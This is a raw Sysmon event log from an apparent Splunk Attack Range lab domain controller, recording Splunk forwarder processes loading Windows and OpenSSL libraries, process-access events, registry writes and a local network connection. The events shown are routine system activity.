http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000055375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.401{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.401{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.400{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.400{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.399{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000055370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.399{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.398{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.397{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 13241300x800000000000000055363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:06:19.303{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\ValueBinary Data 13241300x800000000000000055362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:06:19.303{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\ValueSizeDWORD (0x00000008) 13241300x800000000000000055361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:06:19.303{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\KeySizeDWORD (0x00000000) 13241300x800000000000000055360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:06:19.303{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\TimestampQWORD (0x01d7a655-0x68e5a545) 13241300x800000000000000055359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:06:19.303{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\NetworksBinary Data 13241300x800000000000000055358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:06:19.303{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\NumNetworksDWORD (0x00000001) 734700x800000000000000055554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.836{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000055553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.836{7BD73061-746C-613B-9A0B-00000000F001}5236288C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.820{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.820{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000055550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.782{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06BE65698F6088DB800DED8E968825B1,SHA256=832B52116F34FDA6D1D59F2E6DC4F4E02AAF8466AD446B7B38F725E864074E3B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000055549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.488{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63147-false10.0.1.12-8000- 23542300x800000000000000055548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.751{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=513898F27AB314ACFECE9EB25CC11089,SHA256=DCAE8B1DCD704CB7D454DD6AB83AD2ED5267DB558E6089F74BAB82B8F0D1D5CE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000055547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.602{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.602{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.602{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.602{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.602{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.601{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.601{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.601{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 